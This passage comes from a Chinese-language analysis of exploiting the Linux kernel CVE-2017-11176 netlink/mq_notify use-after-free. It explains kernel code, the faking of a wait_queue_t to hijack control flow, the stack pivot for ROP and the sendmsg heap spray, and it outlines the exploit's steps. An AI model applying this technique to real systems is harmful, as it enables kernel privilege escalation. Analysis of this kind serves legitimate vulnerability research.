#endif /* CONFIG_NETLINK_MMAP */

    struct rhash_head   node;
    struct rcu_head     rcu;
};


// getsockname系统调用 -> netlink_getname()
static int netlink_getname(struct socket *sock, struct sockaddr *addr,
               int *addr_len, int peer)
{
    struct sock *sk = sock->sk;
    struct netlink_sock *nlk = nlk_sk(sk);
    DECLARE_SOCKADDR(struct sockaddr_nl *, nladdr, addr);

    nladdr->nl_family = AF_NETLINK;
    nladdr->nl_pad = 0;
    *addr_len = sizeof(*nladdr);

    if (peer) {
        nladdr->nl_pid = nlk->dst_portid;
        nladdr->nl_groups = netlink_group_mask(nlk->dst_group);
    } else {
        nladdr->nl_pid = nlk->portid;                           // 将netlink_sock对象中的portid复制给nladdr->nl_pid
        nladdr->nl_groups = nlk->groups ? nlk->groups[0] : 0;   // 如果nlk->group为0,将nladdr->nl_groups赋值为NULL,这里避免解引用nlk->groups指针,直接可以在构造堆喷对象时将groups域填零。而nladdr是从addr转换过来的,addr就是从用户层传入的缓冲区。
    }
    return 0;
}

2.伪造等待队列——劫持控制流(setsockopt()触发)

覆盖目标成员:通常情况是覆盖结构体中的函数指针或者包含函数指针的结构体成员,视情况而定,这里就是找netlink_sock对象或子成员中是否有函数指针。这里选择覆盖netlink_sock中的wait等待队列—__wait_queue_head。总结下结构的引用流程:netlink_sock -> wait_queue_head_t wait -> struct list_head task_list -> *next -> wait_queue_t.func

方法:由于没有开SMAP保护,所以可以在用户空间伪造wait_queue_t,让netlink_sock->wait.task_list.next指向它。

struct __wait_queue_head {
    spinlock_t      lock;
    struct list_head    task_list;  // task_list成员是一个双向循环链表头,task_list中链接的每一个成员都是需要处理的等待例程元素。
};
typedef struct __wait_queue_head wait_queue_head_t;
struct list_head {
    struct list_head *next, *prev;
};

查看引用该成员的引用链:setsockopt系统调用 -> netlink_setsockopt() -> wake_up_interruptible() -> __wake_up() -> __wake_up_common()。前面目标5唤醒线程时分析过。

// (1)netlink_setsockopt()
static int netlink_setsockopt(struct socket *sock, int level, int optname,
                  char __user *optval, unsigned int optlen)
{
    ...
    case NETLINK_NO_ENOBUFS:
        if (val) {
            nlk->flags |= NETLINK_F_RECV_NO_ENOBUFS;
            clear_bit(NETLINK_S_CONGESTED, &nlk->state);
            wake_up_interruptible(&nlk->wait); // 这里将会调用netlink_sock对象中的等待例程,直接使用参数nlk->wait。
        }
// (2)wake_up_interruptible()
#define wake_up_interruptible(x)    __wake_up(x, TASK_INTERRUPTIBLE, 1, NULL)
// (3)__wake_up()
void __wake_up(wait_queue_head_t *q, unsigned int mode,
            int nr_exclusive, void *key)
{
    unsigned long flags;

    spin_lock_irqsave(&q->lock, flags);
    __wake_up_common(q, mode, nr_exclusive, 0, key);    // !!! 
    spin_unlock_irqrestore(&q->lock, flags);
}
EXPORT_SYMBOL(__wake_up);
// (4)__wake_up_common()
static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
            int nr_exclusive, int wake_flags, void *key)
{
    wait_queue_t *curr, *next;  // curr为wait_queue_t指针,说明q->task_list链表中存的是wait_queue_t类型的元素,,wait_queue_t结构体如下:

    list_for_each_entry_safe(curr, next, &q->task_list, task_list) { // 宏list_for_each_entry_safe遍历q->task_list中的成员,返回到curr。
        unsigned flags = curr->flags;

        if (curr->func(curr, mode, wake_flags, key) &&
                (flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
            break;
    }
}
// (5)wait_queue_t 结构: 有一个函数指针func
typedef struct __wait_queue wait_queue_t;
struct __wait_queue {
    unsigned int        flags;
    void            *private;
    wait_queue_func_t   func;       // !!!!!!!!!!!!!!!!!!!!!!!! 函数指针 !!!!!!!!!!!!!!!!!!!!!!!!!!!
    struct list_head    task_list;
};

// (6)list_for_each_entry_safe()
#define list_for_each_entry_safe(pos, n, head, member)          \
    for (pos = list_first_entry(head, typeof(*pos), member),    \
        n = list_next_entry(pos, member);           \       // 对 pos->member.next 进行了解引用
         &pos->member != (head);                    \
         pos = n, n = list_next_entry(n, member))

劫持RIPwait_queue_t结构体中有一个函数指针func。再看__wake_up_common函数中,直接调用了curr>func函数,可以通过构造__wait_queuefunc参数控制RIP。

再回过头看list_for_each_entry_safe宏:pos是__wait_queue元素,对pos->member.next进行了解引用,这里的pos->member就是__wait_queue中的task_list__wait_queue中的task_list也是一个链表头,需要指向一个list_head,所以还必须要构造一个假的list_head以便于该宏进行解引用。

ROP构造:劫持控制流后直接跳到xchg eax,esp,因为调用 wait_queue_t.func的时候,rax正好指向用户空间伪造的wait_queue_t结构的首地址。

  • rdi是wait结构体的的地址,rdi+8 -> next 的地址 , 把这个指针的值即我们在用户空间伪造的 wait_queue_t->next 的地址 , 这样相当于rdx保存的是用户空间 fake wait_queue_t.next的地址
  • 然后,根据next的偏移,找到wait_queue_t的地址,并给 rax
  • 然后 call [rax+0x10]
4-xchg_gadget.png

3.exp分析

EXP过程

    1. 首先设置在CPU0上运行,因为不同的CPU有不同的cache。
    1. add_rmem_alloc() 函数:通过sendmsg 增加 sk_rmem_alloc,使其 > sk_rcvbuf。目的是使netlink_attachskb()返回1,从而顺利进入retry代码来触发漏洞。
    1. tiger() 函数: 主线程执行漏洞函数mq_notify(),并进入到netlink_attachskb()进入wait状态;子线程thread2先等待主线程执行到wait状态(sleep),再close(fd),最后调用setsockopt()唤醒主线程。
    1. heap_spray()函数:利用sendmsg堆喷射。注意,需调用setsockopt()设置阻塞时间,并预先多次调用sendmsg(不设置发送数据)来使接下来的发送进程进入阻塞状态,使得喷射内存保持在内存中,最后调用sendmsg(设置发送数据)进行堆喷。
    1. 最后调用setsockopt,触发执行伪造函数 wait_queue_t.func,劫持控制流。

问题:为什么漏洞要触发两次?在一开始创建socket套接字,使用bind()函数时,会调用netlink_insert()函数,会增加引用计数,所以最后漏洞需要触发两次才能UAF

// bind()函数系统调用流程
static int netlink_bind(struct socket *sock, struct sockaddr *addr,
            int addr_len)
{
    struct sock *sk = sock->sk;
    struct net *net = sock_net(sk);
    struct netlink_sock *nlk = nlk_sk(sk);
    struct sockaddr_nl *nladdr = (struct sockaddr_nl *)addr;
    int err;
    long unsigned int groups = nladdr->nl_groups;
    bool bound;

    if (addr_len < sizeof(struct sockaddr_nl))
        return -EINVAL;

    if (nladdr->nl_family != AF_NETLINK)
        return -EINVAL;
[...]

    /* No need for barriers here as we return to user-space without
     * using any of the bound attributes.
     */
    if (!bound) {
        err = nladdr->nl_pid ?
            // 引用计数在此函数中增加
            netlink_insert(sk, nladdr->nl_pid) :
            netlink_autobind(sock);
        if (err) {
            netlink_undo_bind(nlk->ngroups, groups, sk);
            return err;
        }
    }
    [...]
}    


static int netlink_insert(struct sock *sk, u32 portid)
{
    struct netlink_table *table = &nl_table[sk->sk_protocol];
    int err;

    lock_sock(sk);

    err = nlk_sk(sk)->portid == portid ? 0 : -EBUSY;
    if (nlk_sk(sk)->bound)
        goto err;

    err = -ENOMEM;
    if (BITS_PER_LONG > 32 &&
        unlikely(atomic_read(&table->hash.nelems) >= UINT_MAX))
        goto err;

    nlk_sk(sk)->portid = portid;
    // 引用计数增加
    sock_hold(sk);
    [...]
}

POC触发流程

3-POC-trigger-flow.png

EXP测试截图

5-succeed-slab-4119.png

参考:

ADLab——Linux内核CVE-2017-11176漏洞分析与复现

Kaka——cve-2017-11176 利用分析+exp

CVE-2017-11176: A step-by-step Linux Kernel exploitation —— 翻译1 翻译2 翻译3 翻译4

https://www.cvedetails.com/cve/CVE-2017-11176/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 143,201评论 1 300
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 61,387评论 1 257
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 94,683评论 0 213
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 41,080评论 0 179
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 48,865评论 1 255
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 38,810评论 1 177
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 30,440评论 2 271
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 29,200评论 0 167
  • 想象着我的养父在大火中拼命挣扎,窒息,最后皮肤化为焦炭。我心中就已经是抑制不住地欢快,这就叫做以其人之道,还治其人...
    爱写小说的胖达阅读 29,019评论 6 231
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 32,540评论 0 213
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 29,337评论 2 215
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 30,658评论 1 231
  • 白月光回国,霸总把我这个替身辞退。还一脸阴沉的警告我。[不要出现在思思面前, 不然我有一百种方法让你生不如死。]我...
    爱写小说的胖达阅读 24,255评论 0 32
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 27,145评论 2 214
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 31,535评论 3 206
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,626评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,028评论 0 166
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 33,555评论 2 230
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 33,652评论 2 231

推荐阅读更多精彩内容